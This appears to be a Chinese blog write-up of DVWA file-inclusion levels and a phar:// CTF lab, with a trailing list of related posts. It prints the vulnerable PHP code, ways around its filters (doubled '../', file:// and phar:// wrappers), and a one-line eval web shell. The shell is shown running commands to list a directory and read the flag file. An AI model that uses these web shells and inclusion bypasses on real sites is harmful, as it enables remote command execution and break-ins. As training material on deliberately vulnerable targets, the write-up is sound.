文章目录

  • low
  • medium
  • high
  • impossible
  • 文件上传+包含漏洞getshell
  • 云演-phar实验

low

1、本地文件包含:
看看后端代码


<?php// The page we wish to display
$file = $_GET[ 'page' ];?>

发现没有对参数page进行任何的检查和过滤,尝试包含一下phpinfo.php文件

提示错误,但是爆出了文件的绝对路径,此时有两种方法成功包含文件
方法一:利用得到的绝对路径

方法二:利用相对路径

2、远程文件包含
使用远程文件包含需要allow_url_fopen和allow_url_include都处于打开(On)的状态,同时配合http://协议使用
此处就将本地看作“远程”,写一个webshell.txt文件,内容是

<?php phpinfo();?>

然后使用http协议直接包含即可

medium

查看后端代码

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );?>

此处str_replace的作用时过滤掉其中的内容(具体参考PHP官方手册str_replace函数的用法),过滤的"http://", "https://"这意味着我们不能使用远程文件包含来进行操作。但是过滤的"../", "..\\",我们可以通过复写的方式来绕过

high

查看后端代码


<?php
if(!function_exists('fnmatch')) {function fnmatch($pattern, $string) {return preg_match("#^".strtr(preg_quote($pattern, '#'),array('\*' => '.*', '\?'=> '.'))."$#i", $string);} // end
} // end if
// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

其中fnmatch() 函数根据指定的模式来匹配文件名或字符串,此处是使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件

此时就可以使用file://伪协议来欺骗服务器了,结合本地上传,首先在C盘下写一个webshell.php文档,内容是

<?php phpinfo();?>

接着使用file:// + 绝对路径的方法来包含我们所写的文档

吐槽:今天搞这玩意儿和孙老师奋战了一下午,我本来搭建的本地靶场和hosts文档照理来说都是正确的,可就是包含不了这个webshell.php,一直提示找不到。后来大费周章,改来改去,最后莫名其妙就行了,但是配置还是原来的配置,反正就很神奇。后来的探索中我还发现,如果浏览器双开访问dvwa靶场,它的某些模块的难度是不会变的,一直会保持impossible,恰巧这个靶场的文件包含漏洞的impossible难度是无解的。这就导致在修改完成之后的实验中,仍处于找不到文件的状态。(我真的坠了)也怪我们没有仔细检查难度到底有没有正确调整,反正浪费了一下午就是说…

impossible

查看后端代码


<?php// The page we wish to display
$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

可以看到此题要求page的参数只能为“include.php”、“file1.php”、“file2.php”、“file3.php”。这就意味着我们只能访问页面中的这三个文件,所以此难度无解

文件上传+包含漏洞getshell

其实最好的展示方式是用图片马,但是我自己根据教程生成的图片马用不了不知道为啥。那就随便用个一句话来实现吧,写一个webshell.txt,内容是

<?php eval($_POST[cmd]);?>

实验的环境是dvwa靶场的low级别,上传之后回显地址

之后进入文件包含漏洞,包含刚刚上传的文件


getshell成功,也可以通过菜刀蚁剑等来获取网站权限

云演-phar实验

这边看不到后端代码,直接上传php文件试试

返回 You are not a txt file… 说明要求我们上传txt文件,上传试试
发现 Success upload. FileName: ./files/QTpdrwXEeNybayiJ.txt 上传成功并回显地址,底下LFI Here说明有本地文件包含漏洞的,点着看看http://580c53bf.lxctf.net/lfi.php,说明此处的 lfi.php文件可能就是有漏洞的文件
访问刚刚回显的文件试试

还是没用。(黔驴技穷了,我选择实验手册)
查看 lfi.txt

<?php
$file = $_REQUEST['file'];
if ($file != '') {$inc = sprintf("%s.php", $file); // only php file can be includedinclude($inc);
}
?>

拨开云雾见光明,发现以 file 来接收参数,而且只允许包含php文件,还会在文件的末尾添加“.php”。这里因为只能上传 txt 文件,那么就需要包含来解析了。但是会在文件的末尾添加“.php”,所以直接包含是找不到我们上传的 txt 文件的,而且%00也不能用。

此时就可以用phar伪协议,它的使用前提是不添加前缀,可以用在添加后缀或者只能上传docx、zip、rar等压缩类文件,不能直接包含利用的情况。
利用方式是:首先将一个文件压缩,然后修改后缀名(jpg,txt,png都可,本题是txt)上传,最后包含上传的文件即可。例如本题:

先写一个webshell.php文档,内容是

p eval($_POST[cmd]);?>

之后压缩,并修改后缀名为.txt

直接上传改文件,然后包含php文件即可(此处应该注意,由于后端已经添加后缀,故包含webshell.php时直接访问webshell即可,自动添加后缀访问webshell.php)

发现包含成功,使用cmd=system("dir");(cmd是我设置的密码)查看目录文件

发现有flag.php文件,使用cmd=system("type flag.php");访问此文件获取flag

使用菜刀或者蚁剑同样可以获取flag

DVWA文件包含漏洞相关推荐

  1. Web漏洞之文件包含漏洞

    公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...

  2. 文件包含漏洞——DVWA练习

    前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...

  3. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  4. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

  5. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  6. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  7. 文件包含漏洞及简单绕过

    文件包含漏洞 文章目录 文件包含漏洞 DVWA靶场对文件包含漏洞的解释 About Objective 漏洞发生原因 防御与绕过 DVWA File inclusion medium 绝对目录绕过 双 ...

  8. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  9. 文件包含漏洞(原理及介绍)

    文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞).程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件.但正是因为调用的灵活性导致用户可能调用一 ...

最新文章

  1. AI换脸、声音篡改等,明确写入新版《民法典》
  2. 有感于“政府傍大款”----谈中小企业融资问题
  3. python中any的妙用
  4. 定义根目录, window格式 转化为linux格式
  5. react项目_保证一看就会 | 手把手教你创建一个React项目
  6. POJ2560-雀斑(Freckles)【图论,并查集,最小生成树,KURUSKAL】
  7. SqlServer中dateTime、dateTime2、date、datetimeoffset的区别
  8. 我来重新学习 javascript 的面向对象(part 1)
  9. 数组 -- 3Sum Closet -- 图解
  10. linux 软件源码安装教程,linux源码安装软件步骤
  11. HDU5828 Rikka with Sequence
  12. 运筹学-运输问题-最小元素法
  13. 商用计算机品牌,请问什么牌子的笔记本比较好啊?要商用的
  14. 如何防御DOS和DDOS攻击
  15. Ambari2.7+HDP3.0安装(基于Centos7)
  16. Java开发人员幽默外号,姓李的幽默外号 - 经典语录大全
  17. C语言等待一秒,延时函数sleep()
  18. Eclipse的“order and export”是干什么用的?
  19. 使用压缩软件将exe和dll文件打包成一个exe启动文件
  20. 超融合基础架构容灾 -Nutanix Metro Availability + VMwareHA容灾

热门文章

  1. java.swing 飞机大战小游戏
  2. Matlab车牌识别
  3. 用户登入系统的c语言代码大全,C语言 登录系统代码
  4. Python代码的编写运行方式介绍
  5. JAVA Json数据转换实体对象
  6. fiddler4 不间断提示 the system proxy was changed
  7. not support mysql_MYSQL(解决方法):Client does not support authentication
  8. java 加密指定位数字符串
  9. UML建模工具更新情况(2020年8月更新)
  10. 模仿qq空间评论以及回复